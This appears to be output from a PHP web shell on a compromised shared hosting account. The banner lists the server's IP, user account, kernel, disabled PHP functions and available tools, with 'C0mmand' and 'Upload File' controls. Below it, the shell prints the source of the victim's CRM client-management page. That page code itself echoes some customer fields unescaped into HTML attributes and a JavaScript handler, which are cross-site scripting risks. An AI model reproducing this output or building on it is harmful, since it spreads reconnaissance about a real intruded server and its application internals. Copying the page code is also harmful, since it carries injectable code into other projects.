|
Server IP : 217.21.85.138 / Your IP : 216.73.216.103 Web Server : LiteSpeed System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u915722082 ( 915722082) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u915722082/public_html/js/../pms/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!--customers.php-->
<?php
session_start();
if (!isset($_SESSION['admin_id'])) {
header("Location: login.php");
exit;
}
// ADMIN/MANAGER ONLY ACCESS
if ($_SESSION['role'] === 'Employee') {
header("Location: employee.php");
exit;
}
require_once '../config/config.php';
require_once '../config/db.php';
$current_user_role = $_SESSION['role'] ?? 'Manager';
$current_user_id = $_SESSION['admin_id'];
$current_user_name = $_SESSION['user_name'] ?? 'Admin';
$customers_query = "SELECT c.*, u.fname as created_by_name
FROM tbl_customers c
LEFT JOIN tbl_user u ON c.created_by = u.uid
ORDER BY c.created_at DESC";
$customers_result = mysqli_query($con, $customers_query);
// Get all employees for dropdown
$employees_query = "SELECT uid, fname FROM tbl_user ORDER BY fname ASC";
$employees_result = mysqli_query($con, $employees_query);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<base href="../" />
<title>Customer Management - TDS Admin Hub</title>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Inter:300,400,500,600,700" />
<link href="assets/plugins/global/plugins.bundle.css" rel="stylesheet" type="text/css" />
<link href="assets/css/style.bundle.css" rel="stylesheet" type="text/css" />
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/intl-tel-input@23.0.10/build/css/intlTelInput.css">
</head>
<body id="kt_app_body" data-kt-app-layout="dark-sidebar" data-kt-app-header-fixed="true"
data-kt-app-sidebar-enabled="true" data-kt-app-sidebar-fixed="true"
data-kt-app-sidebar-hoverable="true" data-kt-app-sidebar-push-header="true"
data-kt-app-sidebar-push-toolbar="true" data-kt-app-sidebar-push-footer="true"
data-kt-app-toolbar-enabled="true" class="app-default">
<script>
var defaultThemeMode = "light";
var themeMode;
if (document.documentElement) {
if (document.documentElement.hasAttribute("data-bs-theme-mode")) {
themeMode = document.documentElement.getAttribute("data-bs-theme-mode");
} else {
if (localStorage.getItem("data-bs-theme") !== null) {
themeMode = localStorage.getItem("data-bs-theme");
} else {
themeMode = defaultThemeMode;
}
}
if (themeMode === "system") {
themeMode = window.matchMedia("(prefers-color-scheme: dark)").matches ? "dark" : "light";
}
document.documentElement.setAttribute("data-bs-theme", themeMode);
}
</script>
<div class="d-flex flex-column flex-root app-root" id="kt_app_root">
<div class="app-page flex-column flex-column-fluid" id="kt_app_page">
<?php include 'includes/header.php'; ?>
<div class="app-wrapper flex-column flex-row-fluid" id="kt_app_wrapper">
<?php include 'includes/sidebar.php'; ?>
<div class="app-main flex-column flex-row-fluid" id="kt_app_main">
<div class="d-flex flex-column flex-column-fluid">
<div id="kt_app_toolbar" class="app-toolbar py-3 py-lg-6">
<div id="kt_app_toolbar_container" class="app-container container-xxl d-flex flex-stack">
<div class="page-title d-flex flex-column justify-content-center flex-wrap me-3">
<h1 class="page-heading d-flex text-gray-900 fw-bold fs-3 align-items-center my-0">
<i class="ki-duotone ki-profile-user fs-2 me-2">
<span class="path1"></span>
<span class="path2"></span>
<span class="path3"></span>
<span class="path4"></span>
</i>
Client Management
</h1>
<ul class="breadcrumb breadcrumb-separatorless fw-semibold fs-7 my-0 pt-1">
<li class="breadcrumb-item text-muted">
<a href="admin/dashboard.php" class="text-muted text-hover-primary">Home</a>
</li>
<li class="breadcrumb-item">
<span class="bullet bg-gray-500 w-5px h-2px"></span>
</li>
<li class="breadcrumb-item text-muted">Client</li>
</ul>
</div>
</div>
</div>
<div id="kt_app_content" class="app-content flex-column-fluid">
<div id="kt_app_content_container" class="app-container container-xxl">
<!-- Customers Table Card -->
<!-- Customers Table Card -->
<div class="card">
<div class="card-header border-0 pt-6">
<div class="card-title">
<div class="d-flex align-items-center position-relative my-1">
<i class="ki-duotone ki-magnifier fs-3 position-absolute ms-5">
<span class="path1"></span>
<span class="path2"></span>
</i>
<input type="text" id="searchCustomer"
class="form-control form-control-solid w-250px ps-13"
placeholder="Search Client..."
<?php echo (mysqli_num_rows($customers_result) == 0) ? 'disabled' : ''; ?> />
</div>
</div>
<div class="card-toolbar">
<div class="d-flex justify-content-end align-items-center">
<!-- Filter -->
<select class="form-select form-select-solid w-150px me-3" id="filterStatus"
<?php echo (mysqli_num_rows($customers_result) == 0) ? 'disabled' : ''; ?>>
<option value="">All Status</option>
<option value="Active">Active</option>
<option value="Inactive">Inactive</option>
<option value="Lead">Lead</option>
</select>
<!-- Add Client Button - Always Visible -->
<button type="button" class="btn btn-primary"
data-bs-toggle="modal" data-bs-target="#customerModal"
onclick="openAddModal()">
<i class="ki-duotone ki-plus fs-2"></i>
Add Client
</button>
</div>
</div>
</div>
<div class="card-body py-4">
<div class="table-responsive">
<table class="table align-middle table-row-dashed fs-6 gy-5" id="customersTable">
<thead>
<tr class="text-start text-muted fw-bold fs-7 text-uppercase gs-0">
<th class="min-w-50px">S.No</th>
<th class="min-w-150px">Name</th>
<th class="min-w-150px">Contact Person</th>
<th class="min-w-150px">Email</th>
<th class="min-w-120px">Phone</th>
<th class="min-w-100px">City</th>
<th class="text-end min-w-100px">Actions</th>
</tr>
</thead>
<tbody class="text-gray-600 fw-semibold">
<?php if(mysqli_num_rows($customers_result) > 0): ?>
<?php
$serial_number = 1;
while ($customer = mysqli_fetch_assoc($customers_result)):
?>
<tr data-status="<?php echo $customer['customer_status']; ?>">
<td>
<span class="text-gray-800 fw-bold">
<?php echo $serial_number++; ?>
</span>
</td>
<td>
<div class="d-flex flex-column">
<a href="admin/edit-customer.php?id=<?php echo $customer['customer_id']; ?>">
<span class="text-gray-800 fw-bold mb-1">
<?php echo htmlspecialchars($customer['customer_name']); ?>
</span>
<span class="badge badge-light-<?php
echo $customer['company_type'] === 'Company' ? 'primary' :
($customer['company_type'] === 'Startup' ? 'success' : 'info');
?>">
<?php echo $customer['company_type']; ?>
</span>
</a>
</div>
</td>
<td><?php echo htmlspecialchars($customer['contact_person']); ?></td>
<td>
<a href="mailto:<?php echo $customer['email']; ?>" class="text-gray-600 text-hover-primary">
<?php echo htmlspecialchars($customer['email']); ?>
</a>
</td>
<td>
<a href="tel:<?php echo $customer['phone']; ?>" class="text-gray-600 text-hover-primary">
<?php echo htmlspecialchars($customer['phone']); ?>
</a>
</td>
<td><?php echo htmlspecialchars($customer['city']); ?></td>
<td class="text-end">
<button class="btn btn-icon btn-light btn-active-light-primary btn-sm me-1"
onclick='viewCustomer(<?php echo json_encode($customer); ?>)'>
<i class="ki-duotone ki-eye fs-3">
<span class="path1"></span>
<span class="path2"></span>
<span class="path3"></span>
</i>
</button>
<a href="admin/edit-customer.php?id=<?php echo $customer['customer_id']; ?>"
class="btn btn-icon btn-light btn-active-light-primary btn-sm me-1">
<i class="ki-duotone ki-pencil fs-3">
<span class="path1"></span>
<span class="path2"></span>
</i>
</a>
<button class="btn btn-icon btn-light btn-active-light-primary btn-sm"
onclick="deleteCustomer(<?php echo $customer['customer_id']; ?>, '<?php echo htmlspecialchars(addslashes($customer['customer_name'])); ?>')">
<i class="ki-duotone ki-trash fs-3">
<span class="path1"></span>
<span class="path2"></span>
<span class="path3"></span>
<span class="path4"></span>
<span class="path5"></span>
</i>
</button>
</td>
</tr>
<?php endwhile; ?>
<?php else: ?>
<tr>
<td colspan="8" class="text-center py-10">
<div class="card-px text-center py-10 my-10">
<h2 class="fs-2x fw-bold mb-10">Welcome to the Contacts App</h2>
<p class="text-gray-500 fs-4 fw-semibold mb-10">
It's time to expand our contacts.<br>
Kickstart your contacts growth by adding a your next contact.
</p>
<button type="button" class="btn btn-primary"
data-bs-toggle="modal" data-bs-target="#customerModal"
onclick="openAddModal()">Add New Contact</button>
</div>
<div class="text-center px-4">
<img class="mw-100 mh-300px" alt="" src="admin/images/5.png">
</div>
</td>
</tr>
<?php endif; ?>
</tbody>
</table>
<!-- No Search Results Message (Hidden by default) -->
<div id="noSearchResults" style="display: none;">
<div class="card-px text-center py-10 my-10">
<div class="text-center mb-5">
<i class="ki-duotone ki-file-deleted fs-5x text-muted mb-5">
<span class="path1"></span>
<span class="path2"></span>
</i>
</div>
<h2 class="fs-2x fw-bold mb-5">No Matching Records Found</h2>
<p class="text-gray-500 fs-4 fw-semibold mb-10">
We couldn't find any clients matching your search.<br>
Try adjusting your search terms or filters.
</p>
<button type="button" class="btn btn-light-primary" onclick="clearSearch()">
<i class="ki-duotone ki-arrows-circle fs-2">
<span class="path1"></span>
<span class="path2"></span>
</i>
Clear Search
</button>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<?php include 'includes/footer.php'; ?>
</div>
</div>
</div>
</div>
<!-- Add/Edit Customer Modal -->
<!-- Add/Edit Customer Modal with HORIZONTAL Wizard -->
<!-- Add/Edit Customer Modal - 3 STEPS ONLY -->
<div class="modal fade" id="customerModal" tabindex="-1" aria-hidden="true">
<div class="modal-dialog modal-dialog-centered mw-900px">
<div class="modal-content">
<div class="modal-header">
<h2 class="fw-bolder" id="modalTitle">Add New Client</h2>
<div class="btn btn-icon btn-sm btn-active-icon-primary" data-bs-dismiss="modal">
<i class="ki-duotone ki-cross fs-1">
<span class="path1"></span>
<span class="path2"></span>
</i>
</div>
</div>
<div class="modal-body" style="padding:30px 50px">
<!-- Alert Box for Errors -->
<div id="alertBox" class="mb-5"></div>
<!-- Form wraps EVERYTHING -->
<form id="customerForm" class="form" novalidate="novalidate" method="POST">
<input type="hidden" name="action" id="action" value="add">
<!-- Stepper wraps navigation and content -->
<div class="stepper stepper-pills stepper-column" id="customerStepper">
<div class="row">
<!-- LEFT: Stepper Navigation (25% width) -->
<div class="col-lg-3">
<div class="stepper-nav" style="position: sticky; top: 20px;">
<!-- Step 1 -->
<div class="stepper-item current mb-5" data-kt-stepper-element="nav">
<div class="stepper-wrapper">
<div class="stepper-icon w-40px h-40px">
<i class="stepper-check fas fa-check"></i>
<span class="stepper-number">1</span>
</div>
<div class="stepper-label">
<h3 class="stepper-title">Personal Info</h3>
<div class="stepper-desc fw-semibold">Contact details</div>
</div>
</div>
<div class="stepper-line h-40px"></div>
</div>
<!-- Step 2 -->
<div class="stepper-item mb-5" data-kt-stepper-element="nav">
<div class="stepper-wrapper">
<div class="stepper-icon w-40px h-40px">
<i class="stepper-check fas fa-check"></i>
<span class="stepper-number">2</span>
</div>
<div class="stepper-label">
<h3 class="stepper-title">Business Info</h3>
<div class="stepper-desc fw-semibold">Company details</div>
</div>
</div>
<div class="stepper-line h-40px"></div>
</div>
<!-- Step 3 -->
<div class="stepper-item" data-kt-stepper-element="nav">
<div class="stepper-wrapper">
<div class="stepper-icon w-40px h-40px">
<i class="stepper-check fas fa-check"></i>
<span class="stepper-number">3</span>
</div>
<div class="stepper-label">
<h3 class="stepper-title">Address</h3>
<div class="stepper-desc fw-semibold">Billing address</div>
</div>
</div>
</div>
</div>
</div>
<!-- RIGHT: Form Content (75% width) -->
<div class="col-lg-9">
<!-- Step 1: Personal Information -->
<div class="current" data-kt-stepper-element="content">
<div class="w-100">
<div class="pb-10">
<h2 class="fw-bold text-gray-900">👤 Personal Information</h2>
<div class="text-muted fw-semibold fs-6">Contact person details</div>
</div>
<div class="mb-10 fv-row">
<label class="form-label required">Contact Person Name</label>
<input type="text" class="form-control form-control-lg form-control-solid"
name="contact_person" id="contact_person"
placeholder="Enter contact person name" />
</div>
<div class="row mb-10">
<div class="col-md-6 fv-row">
<label class="form-label required">Mobile Number</label>
<input type="tel" class="form-control form-control-lg form-control-solid"
name="phone" id="phone"
placeholder="Enter phone number" />
<input type="hidden" name="country_code" id="country_code">
<input type="hidden" name="full_phone" id="full_phone">
</div>
<div class="col-md-6 fv-row">
<label class="form-label">Email ID</label>
<input type="email" class="form-control form-control-lg form-control-solid"
name="email" id="email"
placeholder="personal@example.com" />
</div>
</div>
</div>
</div>
<!-- Step 2: Business Information -->
<div data-kt-stepper-element="content">
<div class="w-100">
<div class="pb-10">
<h2 class="fw-bold text-gray-900">🏢 Business Information</h2>
<div class="text-muted fw-semibold fs-6">Company and business details</div>
</div>
<div class="row mb-10">
<div class="col-md-8 fv-row">
<label class="form-label required">Business Name</label>
<input type="text" class="form-control form-control-lg form-control-solid"
name="customer_name" id="customer_name"
placeholder="Enter business/company name" />
</div>
<div class="col-md-4 fv-row">
<label class="form-label required">Business Type</label>
<select class="form-select form-select-lg form-select-solid"
name="company_type" id="company_type">
<option value="Individual">Individual</option>
<option value="Company" selected>Company</option>
<option value="Startup">Startup</option>
</select>
</div>
</div>
<div class="row mb-10">
<div class="col-md-6 fv-row">
<label class="form-label">Business Email</label>
<input type="text" class="form-control form-control-lg form-control-solid"
name="alternate_phone" id="alternate_phone"
placeholder="business@company.com" />
</div>
<div class="col-md-6 fv-row">
<label class="form-label">Business Phone</label>
<input type="text" class="form-control form-control-lg form-control-solid"
name="website" id="website"
placeholder="+91-XXXXXXXXXX" />
</div>
</div>
<div class="row mb-10">
<div class="col-md-6 fv-row">
<label class="form-label">GST Number</label>
<input type="text" class="form-control form-control-lg form-control-solid"
name="gst_number" id="gst_number"
placeholder="22AAAAA0000A1Z5" maxlength="15" />
</div>
<div class="col-md-6 fv-row">
<label class="form-label">PAN Number</label>
<input type="text" class="form-control form-control-lg form-control-solid"
name="pan_number" id="pan_number"
placeholder="AAAAA0000A" maxlength="10" />
</div>
</div>
<div class="row mb-10">
<div class="col-md-4 fv-row">
<label class="form-label">Industry</label>
<select class="form-select form-select-lg form-select-solid"
name="industry" id="industry">
<option value="">Select Industry</option>
<option value="IT">IT / Software</option>
<option value="Manufacturing">Manufacturing</option>
<option value="Retail">Retail</option>
<option value="Healthcare">Healthcare</option>
<option value="Education">Education</option>
<option value="Finance">Finance</option>
<option value="Real Estate">Real Estate</option>
<option value="Other">Other</option>
</select>
</div>
<div class="col-md-4 fv-row">
<label class="form-label required">Payment Terms</label>
<select class="form-select form-select-lg form-select-solid"
name="payment_terms" id="payment_terms">
<option value="Advance">Advance</option>
<option value="COD">COD</option>
<option value="Net 15">Net 15</option>
<option value="Net 30" selected>Net 30</option>
<option value="Net 60">Net 60</option>
</select>
</div>
<div class="col-md-4 fv-row">
<label class="form-label required">Status</label>
<select class="form-select form-select-lg form-select-solid"
name="customer_status" id="customer_status">
<option value="Active" selected>Active</option>
<option value="Inactive">Inactive</option>
<option value="Lead">Lead</option>
</select>
</div>
</div>
<div class="row mb-10">
<div class="col-md-4 fv-row">
<label class="form-label required">Year</label>
<input type="text" class="form-control form-control-lg form-control-solid"
name="year" id="year"
placeholder="YYYY" maxlength="4" />
</div>
</div>
</div>
</div>
<!-- Step 3: Billing Address -->
<div data-kt-stepper-element="content">
<div class="w-100">
<div class="pb-10">
<h2 class="fw-bold text-gray-900">📍 Billing Address</h2>
<div class="text-muted fw-semibold fs-6">Customer billing address</div>
</div>
<div class="row mb-10">
<div class="col-md-4 fv-row">
<label class="form-label required">Pincode</label>
<input type="text" class="form-control form-control-lg form-control-solid"
name="pincode" id="pincode"
placeholder="6-digit pincode" maxlength="6" />
<div class="form-text">Address will auto-fill</div>
</div>
<div class="col-md-4 fv-row">
<label class="form-label required">City</label>
<input type="text" class="form-control form-control-lg form-control-solid"
name="city" id="city" placeholder="City" readonly />
</div>
<div class="col-md-4 fv-row">
<label class="form-label required">State</label>
<input type="text" class="form-control form-control-lg form-control-solid"
name="state" id="state" placeholder="State" readonly />
</div>
</div>
<div class="mb-10 fv-row">
<label class="form-label required">Address Line 1</label>
<input type="text" class="form-control form-control-lg form-control-solid"
name="address_line1" id="address_line1"
placeholder="Building, Street" />
</div>
<div class="mb-10 fv-row">
<label class="form-label">Address Line 2</label>
<input type="text" class="form-control form-control-lg form-control-solid"
name="address_line2" id="address_line2"
placeholder="Landmark (Optional)" />
</div>
<div class="mb-10 fv-row">
<label class="form-label required">Country</label>
<input type="text" class="form-control form-control-lg form-control-solid"
name="country" id="country" value="India" readonly />
</div>
</div>
</div>
<!-- Actions -->
<div class="d-flex flex-stack pt-10">
<div class="me-2">
<button type="button" class="btn btn-lg btn-light-primary me-3"
data-kt-stepper-action="previous">
<i class="ki-duotone ki-arrow-left fs-3 me-1">
<span class="path1"></span>
<span class="path2"></span>
</i>
Back
</button>
</div>
<div>
<button type="button" class="btn btn-lg btn-primary me-3"
data-kt-stepper-action="next">
Next
<i class="ki-duotone ki-arrow-right fs-3 ms-1 me-0">
<span class="path1"></span>
<span class="path2"></span>
</i>
</button>
<button type="submit" class="btn btn-lg btn-primary" id="submitBtn"
data-kt-stepper-action="submit">
<span class="indicator-label">
Submit
<i class="ki-duotone ki-arrow-right fs-3 ms-2 me-0">
<span class="path1"></span>
<span class="path2"></span>
</i>
</span>
<span class="indicator-progress">
Please wait...
<span class="spinner-border spinner-border-sm align-middle ms-2"></span>
</span>
</button>
</div>
</div>
</div>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
<!-- View Customer Modal -->
<div class="modal fade" id="viewCustomerModal" tabindex="-1" aria-hidden="true">
<div class="modal-dialog modal-dialog-centered modal-lg">
<div class="modal-content">
<div class="modal-header">
<h2 class="fw-bolder">Client Details</h2>
<div class="btn btn-icon btn-sm btn-active-icon-primary" data-bs-dismiss="modal">
<i class="ki-duotone ki-cross fs-1">
<span class="path1"></span>
<span class="path2"></span>
</i>
</div>
</div>
<div class="modal-body py-10 px-lg-17">
<div id="viewCustomerContent"></div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-light" data-bs-dismiss="modal">Close</button>
</div>
</div>
</div>
</div>
<!-- Scripts -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="assets/plugins/global/plugins.bundle.js"></script>
<script src="assets/js/scripts.bundle.js"></script>
<script src="https://cdn.jsdelivr.net/npm/intl-tel-input@23.0.10/build/js/intlTelInput.min.js"></script>
<script>
let iti;
$(document).ready(function() {
const phoneInput = document.querySelector("#phone");
iti = window.intlTelInput(phoneInput, {
initialCountry: "in",
preferredCountries: ["in", "us", "gb", "ae", "sg", "au"],
separateDialCode: true,
utilsScript: "https://cdn.jsdelivr.net/npm/intl-tel-input@23.0.10/build/js/utils.js"
});
// Update country code on change
phoneInput.addEventListener('countrychange', function() {
$('#country_code').val('+' + iti.getSelectedCountryData().dialCode);
});
// Set initial country code
$('#country_code').val('+' + iti.getSelectedCountryData().dialCode);
});
</script>
<script src="admin/js/customers.js?v=12"></script>
<!-- Changed from v=8 to v=9 -->
<?php include 'includes/chat_widget.php'; ?>
</body>
</html>